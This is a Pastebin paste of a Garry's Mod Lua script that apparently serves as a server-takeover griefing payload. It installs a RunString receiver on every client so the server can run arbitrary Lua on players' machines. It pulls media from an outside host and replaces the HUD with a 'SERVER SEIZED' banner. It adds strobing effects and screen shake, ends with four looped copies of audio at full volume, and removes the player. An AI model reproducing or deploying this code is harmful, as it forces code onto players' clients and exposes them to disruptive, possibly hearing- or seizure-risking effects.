Advertisement
Guest User

Untitled

a guest
Oct 16th, 2019
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 11.81 KB | None | 0 0
  1. util.AddNetworkString "slua"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "slua" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/1337" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "lol jk" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "http://d.zaix.ru/eM4X.mp3", "", function()end )
  73.         EnableLooping( true )
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.5, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "https://d.zaix.ru/eUoc.png", "doritos", 256, 256 )
  100.         LoadWebMaterial( "https://d.zaix.ru/eUoc.png", "fedora", 256, 256 )
  101.         LoadWebMaterial( "https://d.zaix.ru/eUoc.png", "dew", 256, 256 )
  102.         LoadWebMaterial( "https://d.zaix.ru/eUoc.png", "awp", 256, 256 )
  103.     ]=]):format(lol.m_strImageLoadHTML) )
  104. end )
  105.  
  106. --HUD swap
  107. lol:PushAction( 31, function( pPlayer )
  108.     lol:SendLua( pPlayer, [[
  109.         (GAMEMODE or GM).CalcView = function() end
  110.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  111.  
  112.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  113.         for k, v in pairs(remove) do
  114.             hook.GetTable()[v] = {}
  115.         end
  116.  
  117.         local function GetWebMat( strURL )
  118.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  119.         end
  120.  
  121.         hook.Add( "HUDPaint", "newhud", function()
  122.             surface.SetDrawColor( 255, 255, 255, 255 )
  123.  
  124.             if GetWebMat( "doritos" ) then
  125.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  126.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  127.             end
  128.             if GetWebMat( "dew" ) then
  129.                 surface.SetMaterial( GetWebMat("dew")[1] )
  130.                 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  131.             end
  132.             if GetWebMat( "fedora" ) then
  133.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  134.                 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  135.             end
  136.             if GetWebMat( "awp" ) then
  137.                 surface.SetMaterial( GetWebMat("awp")[1] )
  138.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  139.             end
  140.  
  141.             draw.SimpleTextOutlined(
  142.                 "SERVER SEIZED BY COGWORKMENU CREATED BY COGWORK MASON",
  143.                 "DermaLarge",
  144.                 ScrW() /2 +math.random( -8, 8 ),
  145.                 ScrH() /2 +math.random( -8, 8 ) +64,
  146.                 Color( 255, 0, 0, 255 ),
  147.                 TEXT_ALIGN_CENTER,
  148.                 TEXT_ALIGN_CENTER,
  149.                 1,
  150.                 Color( 0, 0, 255, 255 )
  151.             )
  152.         end )
  153.  
  154.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  155.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  156.  
  157.     ]] )
  158. end )
  159.  
  160. --Disco time
  161. lol:PushAction( 10, function( pPlayer )
  162.     local idx = pPlayer:EntIndex()
  163.     timer.Create( "beat".. idx, 0.42, 0, function()
  164.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  165.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  166.     end )
  167.  
  168.  
  169.     lol:SendLua( pPlayer, [[
  170.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  171.         local time = 0
  172.  
  173.         hook.Add( "Think", "wat", function()
  174.             if CurTime() < time then
  175.                 return
  176.             end
  177.  
  178.             time = CurTime() +0.05
  179.             for i = 1, 16 do
  180.                 local part = emitter:Add(
  181.                     "particles/balloon_bit",
  182.                     LocalPlayer():GetPos() +Vector(
  183.                         math.random( -256, 256 ),
  184.                         math.random( -256, 256 ),
  185.                         256
  186.                     )
  187.                 )
  188.                
  189.                 if part then
  190.                     local Size = math.random( 4, 7 )
  191.                    
  192.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  193.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  194.                     part:SetDieTime( 4.5 )
  195.                     part:SetGravity( Vector(40, 0, -250) )
  196.                     part:SetLifeTime( 0 )
  197.                     part:SetStartSize( Size /2 )
  198.                     part:SetEndSize( Size )
  199.                     part:SetCollide( true )
  200.                 end
  201.             end
  202.         end )
  203.     ]] )
  204.  
  205.     lol:SendLua( pPlayer, [[
  206.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  207.             local sinScaler = math.sin( CurTime() )
  208.             DrawBloom(
  209.                 0,
  210.                 3,
  211.                 sinScaler *math.Rand(1, 8),
  212.                 sinScaler *math.Rand(1, 8),
  213.                 6,
  214.                 math.Rand(0.5, 2),
  215.                 math.Rand(0, 0.3),
  216.                 math.Rand(0, 0.3),
  217.                 math.Rand(0.5, 1)
  218.             )
  219.  
  220.             DrawColorModify{
  221.                 ["$pp_colour_addr"] = 0,
  222.                 ["$pp_colour_addg"] = 0,
  223.                 ["$pp_colour_addb"] = 00,
  224.                 ["$pp_colour_brightness" ] = 0,
  225.                 ["$pp_colour_contrast" ] = 1,
  226.                 ["$pp_colour_colour" ] = 1,
  227.                 ["$pp_colour_mulr" ] = 0,
  228.                 ["$pp_colour_mulg" ] = 0,
  229.                 ["$pp_colour_mulb" ] = 1
  230.             }
  231.         end )
  232.  
  233.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  234.         mdl:SetNoDraw( true )
  235.         local posCache, time = {}, 0
  236.  
  237.         hook.Add( "HUDPaint", "dance", function()
  238.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  239.                 local idx = mdl:LookupSequence("taunt_dance")
  240.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  241.                 mdl.SeqStart = CurTime()
  242.                 mdl:ResetSequence( idx )
  243.             end
  244.  
  245.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  246.  
  247.            
  248.             local w, h = 300, 300
  249.             local ang = Angle( 0, 0, 0 )
  250.  
  251.             for i = 1, 32 do
  252.                 if CurTime() > time then
  253.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  254.                 end
  255.                 local x, y = posCache[i][1], posCache[i][2]
  256.  
  257.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  258.                     cam.IgnoreZ( true )
  259.                     render.SuppressEngineLighting( true )
  260.                    
  261.                     render.SetLightingOrigin( mdl:GetPos() )
  262.                     render.ResetModelLighting( 1, 1, 1 )
  263.                     render.SetColorModulation( 0, 0, 1 )
  264.  
  265.                     mdl:DrawModel()
  266.                    
  267.                     render.SuppressEngineLighting( false )
  268.                     cam.IgnoreZ( false )
  269.                 cam.End3D()
  270.             end
  271.  
  272.             if CurTime() > time then
  273.                 time = CurTime() +0.15
  274.             end
  275.         end )
  276.  
  277.     ]] )
  278. end )
  279.  
  280. --Let the beat drop
  281. lol:PushAction( 54, function( pPlayer )
  282.     lol:SendLua( pPlayer, [[
  283.         hook.Add( "GetMotionBlurValues", "wat", function()
  284.             return 0, 0, 1, math.sin(CurTime() *13)
  285.         end )
  286.  
  287.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  288.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  289.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  290.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  291.         end )
  292.  
  293.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  294.             render.SetMaterial( Material("cable/blue_elec") )
  295.             for i = 1, 32 do
  296.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  297.             end
  298.         end )
  299.  
  300.         timer.Create( "thedrop", 0.42, 0, function()
  301.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  302.         end )
  303.     ]] )
  304. end )
  305.  
  306. --EVIL TIME rip headpones
  307. lol:PushAction( 175, function( pPlayer )
  308.     lol:SendLua( pPlayer, [[
  309.  
  310.         local sounds = {}
  311.         for i = 1, 4 do
  312.             sound.PlayURL( "http://d.zaix.ru/eM4X.mp3", "noblock noplay", function( pChan )
  313.                 sounds[#sounds +1] = pChan
  314.             end )
  315.         end
  316.  
  317.         timer.Create( "asdf", 1, 0, function()
  318.             if #sounds ~= 4 then return end
  319.             timer.Destroy( "asdf" )
  320.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  321.         end )
  322.  
  323.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  324.     ]] )
  325.  
  326.     pPlayer:Remove()
  327. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement